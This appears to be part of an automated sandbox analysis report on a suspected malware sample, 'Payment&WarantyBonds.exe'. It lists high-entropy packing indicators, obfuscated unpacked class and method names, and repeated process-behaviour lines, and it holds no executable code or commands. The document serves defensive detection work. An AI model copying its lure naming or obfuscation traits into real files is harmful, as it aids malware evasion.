Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_00562607 pushfd ; ret	7_2_00562608
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_00560807 pushfd ; ret	7_2_00560808
Source: C:\Windows\SysWOW64\systeminfo.exe	Code function: 7_2_00564A1E push esi; ret	7_2_00564A27

Source: Payment&WarantyBonds.exe

Static PE information: section name: .text entropy: 7.95788200827039

Source: 0.2.Payment&WarantyBonds.exe.b480000.4.raw.unpack, HAAlopX3s3btnJ7UlG.cs	High entropy of concatenated method names: 'e1LkSK3AoZ', 'Hh4kQfWVgv', 'RLXkXqqDAR', 'H8MXBMdgpt', 'yfeXzUckVB', 'h2GkN0E8ri', 'lSbkIw48Wf', 'Cnik3x1Z97', 'aSMkyeJ67i', 'MRqkl12SKp'
Source: 0.2.Payment&WarantyBonds.exe.b480000.4.raw.unpack, AADQktakk8MTMyie6y.cs	High entropy of concatenated method names: 'Bmdkif8IIB', 'L6AkaQiVkK', 'dHwkH0GiFn', 'zdYkDAFpvo', 'dbmkTJFniH', 'LTdkuNHPdi', 'HV0kjd0ZXo', 'JZpkWlNHBD', 'y6Tk2oYN99', 'PbOkcP99D3'
Source: 0.2.Payment&WarantyBonds.exe.b480000.4.raw.unpack, O9OVTvmJ5CwcbAA2QZ.cs	High entropy of concatenated method names: 'bG85RPXZ8h', 'D1w5BTGDlb', 'vS18NYGJoj', 'WPL8IgRFd6', 'wTv5MvJrFH', 'YEF54p8Ra6', 'hh256Kuwyn', 'pUo5pFXg6H', 'EH05GDIvFS', 'rd35VFob2G'
Source: 0.2.Payment&WarantyBonds.exe.b480000.4.raw.unpack, ABxuR4jclTb0QJbmgq0.cs	High entropy of concatenated method names: 'CAgYi4V1y5', 'I6wYaY9hQI', 'se5YHdoFsn', 'hVRYDFlshx', 'jQjYTPCAPw', 'bZKYuQBh01', 'LV8YjC82j3', 'prVYWDGqoP', 'n9AY2ogqLB', 'EoCYc32oYc'
Source: 0.2.Payment&WarantyBonds.exe.b480000.4.raw.unpack, NrmpeS2PNSGs7X0CKD.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'MML3UFDoQs', 'oUg3BDrqxO', 'YdD3z8O835', 'UOhyNCpGOT', 'UbxyItfSQD', 'Qwly3XhCgV', 'a18yyLCnyV', 'h6uNpK9RXoM5RfXeO5A'
Source: 0.2.Payment&WarantyBonds.exe.b480000.4.raw.unpack, lEe6OTuveACY3rt9Ok.cs	High entropy of concatenated method names: 'qrh8S7yRlu', 'AiJ8OqTS4D', 'lb08QL85Vx', 'pPa8nnEGVH', 'RDm8XRm892', 'fYM8kR20tL', 'Vdp8ma3QbK', 'AJ28E0hGrk', 'tAW8LXAjig', 'nuo8f4kWr1'
Source: 0.2.Payment&WarantyBonds.exe.b480000.4.raw.unpack, RujqcAN6TG7qku38oo.cs	High entropy of concatenated method names: 'W6GXCbkhYm', 'kyEXiOkO2m', 's86XH1MPny', 'KbvXDVX5Iw', 'vBSXum4ZBf', 'jyBXjGiLIw', 'KATX2ma6f0', 'Px0Xcy6LcF', 'YRhTPekJlhCxTkSTO4t', 'vVwG1ekUNYHQOqdtFgh'
Source: 0.2.Payment&WarantyBonds.exe.b480000.4.raw.unpack, Qcbo1atUNRX5uYhT4D.cs	High entropy of concatenated method names: 'ToString', 'rDRFM5qZ6M', 'oVQFxe49US', 'bqnFendFYA', 'OFZFoXUlaY', 'G35F08iHIv', 'tt2FdDluNJ', 'OrDFJtX3HI', 'VPpF99gk7h', 'R55F7JOdl4'
Source: 0.2.Payment&WarantyBonds.exe.b480000.4.raw.unpack, MnUca67wwyq9isAD8V.cs	High entropy of concatenated method names: 'dpLnTegVLt', 'IgJnj86fhB', 'hCGQeCaxKL', 'n7nQoj0QqV', 'qQdQ00scvT', 'x5QQdbU60m', 'qUlQJNVAcU', 'qhuQ9srbnR', 'gYLQ7ABKWg', 'wpbQsqU9Ne'
Source: 0.2.Payment&WarantyBonds.exe.b480000.4.raw.unpack, JFv6NDqobKO3oP7PJ5.cs	High entropy of concatenated method names: 'j0aXb4KEqm', 'EgAXOSi0p1', 'yNPXnR8iXq', 'bWjXk6N8N8', 'qHGXm7WVf6', 'sqwnKmvrfr', 'Vg7nhGPqqA', 'PVDnql004i', 'aWSnRaDRZj', 'gk8nUGtmqr'
Source: 0.2.Payment&WarantyBonds.exe.b480000.4.raw.unpack, uLGJVHvUgM9ulOmn62.cs	High entropy of concatenated method names: 'a0DHPDf5h', 'gqNDCpfPk', 'orvuvVjmp', 'hDajMGx7H', 'YOw2qXi4r', 'e68cmLJkm', 'BVy6WQO0K8o6lAXNBt', 'gIy4ZgNlOJdfCjPBbp', 'G5r8UUbm0', 'dufgrMc9q'
Source: 0.2.Payment&WarantyBonds.exe.b480000.4.raw.unpack, uPpMvls1PHjFnvTcDG.cs	High entropy of concatenated method names: 'Tkr8v62gZO', 'KKy8xIbLh1', 'SoH8euyMJH', 'aDF8opnAL0', 'VTh8pc90ZI', 'K3M80JlFeE', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Payment&WarantyBonds.exe.b480000.4.raw.unpack, pN57RL3xyXkW5ANnHQ.cs	High entropy of concatenated method names: 'U8AybimXgu', 'T18yS8nemQ', 'Q5YyOVMPp2', 'ndjyQ2tjAW', 'uLvyn3pmLf', 'vx8yXoZe2b', 'NiaykWcRm5', 'dw7ympHo41', 'APUyEmTssh', 'DPFyLNiOf0'
Source: 0.2.Payment&WarantyBonds.exe.b480000.4.raw.unpack, hsiK9PiqZrfnl6rMvi.cs	High entropy of concatenated method names: 'qWHQDnd3hK', 'g8uQuCWTZq', 'Db4QWEv1S7', 'X0OQ2ux8Qb', 'd5eQr8udm2', 'VbMQFUvxGO', 'BAjQ5wOKcH', 'OaWQ8CKrIg', 'm4KQY95xUx', 'N6kQgsLifj'
Source: 0.2.Payment&WarantyBonds.exe.b480000.4.raw.unpack, c3QNNUoubAttVxH9S2.cs	High entropy of concatenated method names: 'ygp5LXincf', 'arO5fUTQrR', 'ToString', 'xMI5SQtPiM', 'xkd5ODAQ8v', 'JNd5QFlM44', 'FXh5naDk8m', 'jUs5XeXvhw', 'sTt5k1sJtu', 'K6T5mcUE48'
Source: 0.2.Payment&WarantyBonds.exe.b480000.4.raw.unpack, LjvKfjQI7ZTyW35Lpd.cs	High entropy of concatenated method names: 'gADAWbr7XE', 'fbeA2km7Vk', 'w3jAvKbNKf', 'cAlAxbdhLn', 'tIYAoYR5SG', 'x9PA0HRtXZ', 'iIXAJNClKR', 'kgYA9KUrf4', 'mioAs4iaWq', 'jTLAMX6d8V'
Source: 0.2.Payment&WarantyBonds.exe.b480000.4.raw.unpack, CGdMn0bkxNbGSKYFA0.cs	High entropy of concatenated method names: 'Dispose', 'PsJIUKMDsf', 'uX53xjA5Ed', 'r0Uttl1o0A', 'UPYIBy8eCX', 'zQ6IzH00tk', 'ProcessDialogKey', 'UQT3NQvIxK', 'z4M3IFZNsI', 'H1O33hWBNe'
Source: 0.2.Payment&WarantyBonds.exe.b480000.4.raw.unpack, ioi8Rkz6CpkkqYwguL.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'uRVYApIJbY', 'NIyYrEHUlj', 'EHuYFuNKBF', 'GaYY56xelw', 'gsbY8dqZLb', 'X3xYY9XALK', 'qBXYgelKcZ'
Source: 0.2.Payment&WarantyBonds.exe.b480000.4.raw.unpack, jfce7djWOMMimZwhZQb.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'zvogpc13wh', 'SmhgGyeWRf', 'xQHgVpIj1H', 'Qucg17uLjn', 'o6vgKE1bns', 'N3RghoqBN7', 'LoigqfyjmO'
Source: 0.2.Payment&WarantyBonds.exe.b480000.4.raw.unpack, cILh9bHvx4dPN3VnUI.cs	High entropy of concatenated method names: 'Nl3OpoF2TO', 't9dOGPKSpm', 'elcOVU9JsF', 'C4hO1kUwGo', 'knhOK1M0lx', 'c4kOhSyJfK', 'jrMOqZFNb6', 'NXjOR0XNbK', 'rM4OUrjy7y', 'tGSOBYrBio'
Source: 0.2.Payment&WarantyBonds.exe.b480000.4.raw.unpack, qtiCGhV5g3bg8x5VxE.cs	High entropy of concatenated method names: 'f14Ik3ayGQ', 'lxAImDcpuG', 'lqRILNo2n3', 'zlOIfO9NSy', 'yW5Ir7XStc', 'DdwIFvY5AB', 'FMGRR7EYd0dL4b47ss', 'pABd7rLec7iDJoHWIv', 'p6TII6gSOZ', 'EoEIysVF79'
Source: 0.2.Payment&WarantyBonds.exe.b480000.4.raw.unpack, HYqHWc4dupAKCWiUdf.cs	High entropy of concatenated method names: 'ihMYIPWspP', 'XdUYykfAWJ', 'elYYlxVOjF', 'mmUYS4MmeQ', 'QXSYOXVIOR', 'PWGYn6IIEv', 'J6xYXV4EiH', 'xIL8qaTmtN', 'KZm8Re7Mm6', 'K828UFM2CB'
Source: 0.2.Payment&WarantyBonds.exe.4514488.0.raw.unpack, HAAlopX3s3btnJ7UlG.cs	High entropy of concatenated method names: 'e1LkSK3AoZ', 'Hh4kQfWVgv', 'RLXkXqqDAR', 'H8MXBMdgpt', 'yfeXzUckVB', 'h2GkN0E8ri', 'lSbkIw48Wf', 'Cnik3x1Z97', 'aSMkyeJ67i', 'MRqkl12SKp'
Source: 0.2.Payment&WarantyBonds.exe.4514488.0.raw.unpack, AADQktakk8MTMyie6y.cs	High entropy of concatenated method names: 'Bmdkif8IIB', 'L6AkaQiVkK', 'dHwkH0GiFn', 'zdYkDAFpvo', 'dbmkTJFniH', 'LTdkuNHPdi', 'HV0kjd0ZXo', 'JZpkWlNHBD', 'y6Tk2oYN99', 'PbOkcP99D3'
Source: 0.2.Payment&WarantyBonds.exe.4514488.0.raw.unpack, O9OVTvmJ5CwcbAA2QZ.cs	High entropy of concatenated method names: 'bG85RPXZ8h', 'D1w5BTGDlb', 'vS18NYGJoj', 'WPL8IgRFd6', 'wTv5MvJrFH', 'YEF54p8Ra6', 'hh256Kuwyn', 'pUo5pFXg6H', 'EH05GDIvFS', 'rd35VFob2G'
Source: 0.2.Payment&WarantyBonds.exe.4514488.0.raw.unpack, ABxuR4jclTb0QJbmgq0.cs	High entropy of concatenated method names: 'CAgYi4V1y5', 'I6wYaY9hQI', 'se5YHdoFsn', 'hVRYDFlshx', 'jQjYTPCAPw', 'bZKYuQBh01', 'LV8YjC82j3', 'prVYWDGqoP', 'n9AY2ogqLB', 'EoCYc32oYc'
Source: 0.2.Payment&WarantyBonds.exe.4514488.0.raw.unpack, NrmpeS2PNSGs7X0CKD.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'MML3UFDoQs', 'oUg3BDrqxO', 'YdD3z8O835', 'UOhyNCpGOT', 'UbxyItfSQD', 'Qwly3XhCgV', 'a18yyLCnyV', 'h6uNpK9RXoM5RfXeO5A'
Source: 0.2.Payment&WarantyBonds.exe.4514488.0.raw.unpack, lEe6OTuveACY3rt9Ok.cs	High entropy of concatenated method names: 'qrh8S7yRlu', 'AiJ8OqTS4D', 'lb08QL85Vx', 'pPa8nnEGVH', 'RDm8XRm892', 'fYM8kR20tL', 'Vdp8ma3QbK', 'AJ28E0hGrk', 'tAW8LXAjig', 'nuo8f4kWr1'
Source: 0.2.Payment&WarantyBonds.exe.4514488.0.raw.unpack, RujqcAN6TG7qku38oo.cs	High entropy of concatenated method names: 'W6GXCbkhYm', 'kyEXiOkO2m', 's86XH1MPny', 'KbvXDVX5Iw', 'vBSXum4ZBf', 'jyBXjGiLIw', 'KATX2ma6f0', 'Px0Xcy6LcF', 'YRhTPekJlhCxTkSTO4t', 'vVwG1ekUNYHQOqdtFgh'
Source: 0.2.Payment&WarantyBonds.exe.4514488.0.raw.unpack, Qcbo1atUNRX5uYhT4D.cs	High entropy of concatenated method names: 'ToString', 'rDRFM5qZ6M', 'oVQFxe49US', 'bqnFendFYA', 'OFZFoXUlaY', 'G35F08iHIv', 'tt2FdDluNJ', 'OrDFJtX3HI', 'VPpF99gk7h', 'R55F7JOdl4'
Source: 0.2.Payment&WarantyBonds.exe.4514488.0.raw.unpack, MnUca67wwyq9isAD8V.cs	High entropy of concatenated method names: 'dpLnTegVLt', 'IgJnj86fhB', 'hCGQeCaxKL', 'n7nQoj0QqV', 'qQdQ00scvT', 'x5QQdbU60m', 'qUlQJNVAcU', 'qhuQ9srbnR', 'gYLQ7ABKWg', 'wpbQsqU9Ne'
Source: 0.2.Payment&WarantyBonds.exe.4514488.0.raw.unpack, JFv6NDqobKO3oP7PJ5.cs	High entropy of concatenated method names: 'j0aXb4KEqm', 'EgAXOSi0p1', 'yNPXnR8iXq', 'bWjXk6N8N8', 'qHGXm7WVf6', 'sqwnKmvrfr', 'Vg7nhGPqqA', 'PVDnql004i', 'aWSnRaDRZj', 'gk8nUGtmqr'
Source: 0.2.Payment&WarantyBonds.exe.4514488.0.raw.unpack, uLGJVHvUgM9ulOmn62.cs	High entropy of concatenated method names: 'a0DHPDf5h', 'gqNDCpfPk', 'orvuvVjmp', 'hDajMGx7H', 'YOw2qXi4r', 'e68cmLJkm', 'BVy6WQO0K8o6lAXNBt', 'gIy4ZgNlOJdfCjPBbp', 'G5r8UUbm0', 'dufgrMc9q'
Source: 0.2.Payment&WarantyBonds.exe.4514488.0.raw.unpack, uPpMvls1PHjFnvTcDG.cs	High entropy of concatenated method names: 'Tkr8v62gZO', 'KKy8xIbLh1', 'SoH8euyMJH', 'aDF8opnAL0', 'VTh8pc90ZI', 'K3M80JlFeE', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Payment&WarantyBonds.exe.4514488.0.raw.unpack, pN57RL3xyXkW5ANnHQ.cs	High entropy of concatenated method names: 'U8AybimXgu', 'T18yS8nemQ', 'Q5YyOVMPp2', 'ndjyQ2tjAW', 'uLvyn3pmLf', 'vx8yXoZe2b', 'NiaykWcRm5', 'dw7ympHo41', 'APUyEmTssh', 'DPFyLNiOf0'
Source: 0.2.Payment&WarantyBonds.exe.4514488.0.raw.unpack, hsiK9PiqZrfnl6rMvi.cs	High entropy of concatenated method names: 'qWHQDnd3hK', 'g8uQuCWTZq', 'Db4QWEv1S7', 'X0OQ2ux8Qb', 'd5eQr8udm2', 'VbMQFUvxGO', 'BAjQ5wOKcH', 'OaWQ8CKrIg', 'm4KQY95xUx', 'N6kQgsLifj'
Source: 0.2.Payment&WarantyBonds.exe.4514488.0.raw.unpack, c3QNNUoubAttVxH9S2.cs	High entropy of concatenated method names: 'ygp5LXincf', 'arO5fUTQrR', 'ToString', 'xMI5SQtPiM', 'xkd5ODAQ8v', 'JNd5QFlM44', 'FXh5naDk8m', 'jUs5XeXvhw', 'sTt5k1sJtu', 'K6T5mcUE48'
Source: 0.2.Payment&WarantyBonds.exe.4514488.0.raw.unpack, LjvKfjQI7ZTyW35Lpd.cs	High entropy of concatenated method names: 'gADAWbr7XE', 'fbeA2km7Vk', 'w3jAvKbNKf', 'cAlAxbdhLn', 'tIYAoYR5SG', 'x9PA0HRtXZ', 'iIXAJNClKR', 'kgYA9KUrf4', 'mioAs4iaWq', 'jTLAMX6d8V'
Source: 0.2.Payment&WarantyBonds.exe.4514488.0.raw.unpack, CGdMn0bkxNbGSKYFA0.cs	High entropy of concatenated method names: 'Dispose', 'PsJIUKMDsf', 'uX53xjA5Ed', 'r0Uttl1o0A', 'UPYIBy8eCX', 'zQ6IzH00tk', 'ProcessDialogKey', 'UQT3NQvIxK', 'z4M3IFZNsI', 'H1O33hWBNe'
Source: 0.2.Payment&WarantyBonds.exe.4514488.0.raw.unpack, ioi8Rkz6CpkkqYwguL.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'uRVYApIJbY', 'NIyYrEHUlj', 'EHuYFuNKBF', 'GaYY56xelw', 'gsbY8dqZLb', 'X3xYY9XALK', 'qBXYgelKcZ'
Source: 0.2.Payment&WarantyBonds.exe.4514488.0.raw.unpack, jfce7djWOMMimZwhZQb.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'zvogpc13wh', 'SmhgGyeWRf', 'xQHgVpIj1H', 'Qucg17uLjn', 'o6vgKE1bns', 'N3RghoqBN7', 'LoigqfyjmO'
Source: 0.2.Payment&WarantyBonds.exe.4514488.0.raw.unpack, cILh9bHvx4dPN3VnUI.cs	High entropy of concatenated method names: 'Nl3OpoF2TO', 't9dOGPKSpm', 'elcOVU9JsF', 'C4hO1kUwGo', 'knhOK1M0lx', 'c4kOhSyJfK', 'jrMOqZFNb6', 'NXjOR0XNbK', 'rM4OUrjy7y', 'tGSOBYrBio'
Source: 0.2.Payment&WarantyBonds.exe.4514488.0.raw.unpack, qtiCGhV5g3bg8x5VxE.cs	High entropy of concatenated method names: 'f14Ik3ayGQ', 'lxAImDcpuG', 'lqRILNo2n3', 'zlOIfO9NSy', 'yW5Ir7XStc', 'DdwIFvY5AB', 'FMGRR7EYd0dL4b47ss', 'pABd7rLec7iDJoHWIv', 'p6TII6gSOZ', 'EoEIysVF79'
Source: 0.2.Payment&WarantyBonds.exe.4514488.0.raw.unpack, HYqHWc4dupAKCWiUdf.cs	High entropy of concatenated method names: 'ihMYIPWspP', 'XdUYykfAWJ', 'elYYlxVOjF', 'mmUYS4MmeQ', 'QXSYOXVIOR', 'PWGYn6IIEv', 'J6xYXV4EiH', 'xIL8qaTmtN', 'KZm8Re7Mm6', 'K828UFM2CB'
Source: 0.2.Payment&WarantyBonds.exe.448ca68.1.raw.unpack, HAAlopX3s3btnJ7UlG.cs	High entropy of concatenated method names: 'e1LkSK3AoZ', 'Hh4kQfWVgv', 'RLXkXqqDAR', 'H8MXBMdgpt', 'yfeXzUckVB', 'h2GkN0E8ri', 'lSbkIw48Wf', 'Cnik3x1Z97', 'aSMkyeJ67i', 'MRqkl12SKp'
Source: 0.2.Payment&WarantyBonds.exe.448ca68.1.raw.unpack, AADQktakk8MTMyie6y.cs	High entropy of concatenated method names: 'Bmdkif8IIB', 'L6AkaQiVkK', 'dHwkH0GiFn', 'zdYkDAFpvo', 'dbmkTJFniH', 'LTdkuNHPdi', 'HV0kjd0ZXo', 'JZpkWlNHBD', 'y6Tk2oYN99', 'PbOkcP99D3'
Source: 0.2.Payment&WarantyBonds.exe.448ca68.1.raw.unpack, O9OVTvmJ5CwcbAA2QZ.cs	High entropy of concatenated method names: 'bG85RPXZ8h', 'D1w5BTGDlb', 'vS18NYGJoj', 'WPL8IgRFd6', 'wTv5MvJrFH', 'YEF54p8Ra6', 'hh256Kuwyn', 'pUo5pFXg6H', 'EH05GDIvFS', 'rd35VFob2G'
Source: 0.2.Payment&WarantyBonds.exe.448ca68.1.raw.unpack, ABxuR4jclTb0QJbmgq0.cs	High entropy of concatenated method names: 'CAgYi4V1y5', 'I6wYaY9hQI', 'se5YHdoFsn', 'hVRYDFlshx', 'jQjYTPCAPw', 'bZKYuQBh01', 'LV8YjC82j3', 'prVYWDGqoP', 'n9AY2ogqLB', 'EoCYc32oYc'
Source: 0.2.Payment&WarantyBonds.exe.448ca68.1.raw.unpack, NrmpeS2PNSGs7X0CKD.cs	High entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'MML3UFDoQs', 'oUg3BDrqxO', 'YdD3z8O835', 'UOhyNCpGOT', 'UbxyItfSQD', 'Qwly3XhCgV', 'a18yyLCnyV', 'h6uNpK9RXoM5RfXeO5A'
Source: 0.2.Payment&WarantyBonds.exe.448ca68.1.raw.unpack, lEe6OTuveACY3rt9Ok.cs	High entropy of concatenated method names: 'qrh8S7yRlu', 'AiJ8OqTS4D', 'lb08QL85Vx', 'pPa8nnEGVH', 'RDm8XRm892', 'fYM8kR20tL', 'Vdp8ma3QbK', 'AJ28E0hGrk', 'tAW8LXAjig', 'nuo8f4kWr1'
Source: 0.2.Payment&WarantyBonds.exe.448ca68.1.raw.unpack, RujqcAN6TG7qku38oo.cs	High entropy of concatenated method names: 'W6GXCbkhYm', 'kyEXiOkO2m', 's86XH1MPny', 'KbvXDVX5Iw', 'vBSXum4ZBf', 'jyBXjGiLIw', 'KATX2ma6f0', 'Px0Xcy6LcF', 'YRhTPekJlhCxTkSTO4t', 'vVwG1ekUNYHQOqdtFgh'
Source: 0.2.Payment&WarantyBonds.exe.448ca68.1.raw.unpack, Qcbo1atUNRX5uYhT4D.cs	High entropy of concatenated method names: 'ToString', 'rDRFM5qZ6M', 'oVQFxe49US', 'bqnFendFYA', 'OFZFoXUlaY', 'G35F08iHIv', 'tt2FdDluNJ', 'OrDFJtX3HI', 'VPpF99gk7h', 'R55F7JOdl4'
Source: 0.2.Payment&WarantyBonds.exe.448ca68.1.raw.unpack, MnUca67wwyq9isAD8V.cs	High entropy of concatenated method names: 'dpLnTegVLt', 'IgJnj86fhB', 'hCGQeCaxKL', 'n7nQoj0QqV', 'qQdQ00scvT', 'x5QQdbU60m', 'qUlQJNVAcU', 'qhuQ9srbnR', 'gYLQ7ABKWg', 'wpbQsqU9Ne'
Source: 0.2.Payment&WarantyBonds.exe.448ca68.1.raw.unpack, JFv6NDqobKO3oP7PJ5.cs	High entropy of concatenated method names: 'j0aXb4KEqm', 'EgAXOSi0p1', 'yNPXnR8iXq', 'bWjXk6N8N8', 'qHGXm7WVf6', 'sqwnKmvrfr', 'Vg7nhGPqqA', 'PVDnql004i', 'aWSnRaDRZj', 'gk8nUGtmqr'
Source: 0.2.Payment&WarantyBonds.exe.448ca68.1.raw.unpack, uLGJVHvUgM9ulOmn62.cs	High entropy of concatenated method names: 'a0DHPDf5h', 'gqNDCpfPk', 'orvuvVjmp', 'hDajMGx7H', 'YOw2qXi4r', 'e68cmLJkm', 'BVy6WQO0K8o6lAXNBt', 'gIy4ZgNlOJdfCjPBbp', 'G5r8UUbm0', 'dufgrMc9q'
Source: 0.2.Payment&WarantyBonds.exe.448ca68.1.raw.unpack, uPpMvls1PHjFnvTcDG.cs	High entropy of concatenated method names: 'Tkr8v62gZO', 'KKy8xIbLh1', 'SoH8euyMJH', 'aDF8opnAL0', 'VTh8pc90ZI', 'K3M80JlFeE', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.Payment&WarantyBonds.exe.448ca68.1.raw.unpack, pN57RL3xyXkW5ANnHQ.cs	High entropy of concatenated method names: 'U8AybimXgu', 'T18yS8nemQ', 'Q5YyOVMPp2', 'ndjyQ2tjAW', 'uLvyn3pmLf', 'vx8yXoZe2b', 'NiaykWcRm5', 'dw7ympHo41', 'APUyEmTssh', 'DPFyLNiOf0'
Source: 0.2.Payment&WarantyBonds.exe.448ca68.1.raw.unpack, hsiK9PiqZrfnl6rMvi.cs	High entropy of concatenated method names: 'qWHQDnd3hK', 'g8uQuCWTZq', 'Db4QWEv1S7', 'X0OQ2ux8Qb', 'd5eQr8udm2', 'VbMQFUvxGO', 'BAjQ5wOKcH', 'OaWQ8CKrIg', 'm4KQY95xUx', 'N6kQgsLifj'
Source: 0.2.Payment&WarantyBonds.exe.448ca68.1.raw.unpack, c3QNNUoubAttVxH9S2.cs	High entropy of concatenated method names: 'ygp5LXincf', 'arO5fUTQrR', 'ToString', 'xMI5SQtPiM', 'xkd5ODAQ8v', 'JNd5QFlM44', 'FXh5naDk8m', 'jUs5XeXvhw', 'sTt5k1sJtu', 'K6T5mcUE48'
Source: 0.2.Payment&WarantyBonds.exe.448ca68.1.raw.unpack, LjvKfjQI7ZTyW35Lpd.cs	High entropy of concatenated method names: 'gADAWbr7XE', 'fbeA2km7Vk', 'w3jAvKbNKf', 'cAlAxbdhLn', 'tIYAoYR5SG', 'x9PA0HRtXZ', 'iIXAJNClKR', 'kgYA9KUrf4', 'mioAs4iaWq', 'jTLAMX6d8V'
Source: 0.2.Payment&WarantyBonds.exe.448ca68.1.raw.unpack, CGdMn0bkxNbGSKYFA0.cs	High entropy of concatenated method names: 'Dispose', 'PsJIUKMDsf', 'uX53xjA5Ed', 'r0Uttl1o0A', 'UPYIBy8eCX', 'zQ6IzH00tk', 'ProcessDialogKey', 'UQT3NQvIxK', 'z4M3IFZNsI', 'H1O33hWBNe'
Source: 0.2.Payment&WarantyBonds.exe.448ca68.1.raw.unpack, ioi8Rkz6CpkkqYwguL.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'uRVYApIJbY', 'NIyYrEHUlj', 'EHuYFuNKBF', 'GaYY56xelw', 'gsbY8dqZLb', 'X3xYY9XALK', 'qBXYgelKcZ'
Source: 0.2.Payment&WarantyBonds.exe.448ca68.1.raw.unpack, jfce7djWOMMimZwhZQb.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'zvogpc13wh', 'SmhgGyeWRf', 'xQHgVpIj1H', 'Qucg17uLjn', 'o6vgKE1bns', 'N3RghoqBN7', 'LoigqfyjmO'
Source: 0.2.Payment&WarantyBonds.exe.448ca68.1.raw.unpack, cILh9bHvx4dPN3VnUI.cs	High entropy of concatenated method names: 'Nl3OpoF2TO', 't9dOGPKSpm', 'elcOVU9JsF', 'C4hO1kUwGo', 'knhOK1M0lx', 'c4kOhSyJfK', 'jrMOqZFNb6', 'NXjOR0XNbK', 'rM4OUrjy7y', 'tGSOBYrBio'
Source: 0.2.Payment&WarantyBonds.exe.448ca68.1.raw.unpack, qtiCGhV5g3bg8x5VxE.cs	High entropy of concatenated method names: 'f14Ik3ayGQ', 'lxAImDcpuG', 'lqRILNo2n3', 'zlOIfO9NSy', 'yW5Ir7XStc', 'DdwIFvY5AB', 'FMGRR7EYd0dL4b47ss', 'pABd7rLec7iDJoHWIv', 'p6TII6gSOZ', 'EoEIysVF79'
Source: 0.2.Payment&WarantyBonds.exe.448ca68.1.raw.unpack, HYqHWc4dupAKCWiUdf.cs	High entropy of concatenated method names: 'ihMYIPWspP', 'XdUYykfAWJ', 'elYYlxVOjF', 'mmUYS4MmeQ', 'QXSYOXVIOR', 'PWGYn6IIEv', 'J6xYXV4EiH', 'xIL8qaTmtN', 'KZm8Re7Mm6', 'K828UFM2CB'

Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Payment&WarantyBonds.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
